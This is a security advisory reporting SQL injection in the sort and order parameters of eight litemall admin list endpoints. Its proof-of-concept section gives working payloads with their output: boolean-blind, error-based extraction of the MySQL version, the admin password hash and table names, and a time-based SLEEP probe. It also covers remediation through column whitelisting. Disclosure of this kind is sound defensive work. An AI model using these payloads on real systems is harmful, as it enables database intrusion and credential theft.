Reporter: berna (1571229403@qq.com) Date: 2026-04-23 Affected Version: linlinjava/litemall up to 1.8.0
Multiple admin controller list endpoints in litemall ≤ 1.8.0 are vulnerable to SQL injection via the sort and order HTTP parameters. These endpoints are NOT covered by existing CVEs (CVE-2024-24323 covers AdminOrderController only; CVE-2024-46382 covers AdminGoodsController only).
| Controller | Endpoint |
|---|---|
| AdminAftersaleController | /admin/aftersale/list |
| AdminCommentController | /admin/comment/list |
| AdminFeedbackController | /admin/feedback/list |
| AdminTopicController | /admin/topic/list |
| AdminAdController | /admin/ad/list |
| AdminCouponController | /admin/coupon/list |
| AdminUserController | /admin/user/list |
| AdminStorageController | /admin/storage/list |
All 37 MyBatis Mapper XML files use ${orderByClause} (string interpolation, not parameterized):
<if test="orderByClause != null">
order by ${orderByClause}
</if>The sort and order HTTP parameters are directly concatenated in Service classes:
// e.g., LitemallGoodsService.java line 122
example.setOrderByClause(sort + " " + order);All PoCs verified on MySQL 8.0.45 with real litemall database (31 tables, sample data imported from litemall_data.sql).
GET /admin/aftersale/list?sort=IF(1=1,id,name)&order=asc&page=1&limit=10
→ Result: Rows sorted by id (first row: id=1006002)
GET /admin/aftersale/list?sort=IF(1=2,id,name)&order=asc&page=1&limit=10
→ Result: Rows sorted by name (first row: id=1025005, name="100年传世珐琅锅")
Different sort order CONFIRMS the IF() condition is executed by MySQL!
Actual JDBC verification output:
=== PoC 2: Boolean-blind (ORDER BY IF(1=1,id,name)) ===
id=1006002 | goods_sn=1006002 | name=轻奢纯棉刺绣水洗四件套
id=1006007 | goods_sn=1006007 | name=简约知性满印水洗棉四件套
id=1006010 | goods_sn=1006010 | name=全棉刺绣大朵水洗棉四件套
=== PoC 3: Boolean-blind (ORDER BY IF(1=2,id,name)) ===
id=1025005 | goods_sn=1025005 | name=100年传世珐琅锅
id=1135002 | goods_sn=1135002 | name=DAYHR能量King瓶
id=1006007 | goods_sn=1006007 | name=简约知性满印水洗棉四件套
Extract MySQL version:
sort=extractvalue(1,concat(0x7e,version(),0x7e))
→ ERROR 1105 (HY000): XPATH syntax error: '~8.0.45~'
MySQL version 8.0.45 leaked!
Extract admin password hash:
sort=extractvalue(1,concat(0x7e,(SELECT password FROM litemall_admin LIMIT 1),0x7e))
→ ERROR 1105 (HY000): XPATH syntax error: '~$2a$10$.rEfyBb/GURD9P2p0fRg/OAJ'
Admin bcrypt password hash leaked!
Extract all table names:
sort=extractvalue(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database()),0x7e))
→ ERROR 1105 (HY000): XPATH syntax error: '~litemall_ad,litemall_address,li'
All table names leaked!
sort=IF(SUBSTRING(user(),1,1)='r',SLEEP(2),1)
→ Response time: ~8 minutes (SLEEP(2) executes for each row in the table)
Confirms first character of database user is 'r' (root)
- Full database extraction: Error-based injection allows extracting any data from any table
- Admin credential theft: Admin password hash can be extracted directly
- Blind data enumeration: Boolean-based and Time-based methods allow extracting data character by character
- Ensure ALL controllers use
@Sortannotation with strict whitelist:
public Object list(...,
@Sort(accepts = {"add_time", "id"}) String sort,
@Order String order, ...)- Replace
${orderByClause}with a safe ORDER BY builder:
// Safe approach: validate sort column against whitelist
Set<String> ALLOWED = Set.of("id", "add_time", "retail_price");
if (!ALLOWED.contains(sort)) {
sort = "add_time"; // default
}- Never pass user input directly to
setOrderByClause().
- Mapper XML: https://github.com/linlinjava/litemall/blob/master/litemall-db/src/main/resources/org/linlinjava/litemall/db/dao/LitemallAftersaleMapper.xml
- Service: https://github.com/linlinjava/litemall/blob/master/litemall-db/src/main/java/org/linlinjava/litemall/db/service/LitemallGoodsService.java#L122
- Related CVE (different endpoints): CVE-2024-24323, CVE-2024-46382
- CWE-89: https://cwe.mitre.org/data/definitions/89.html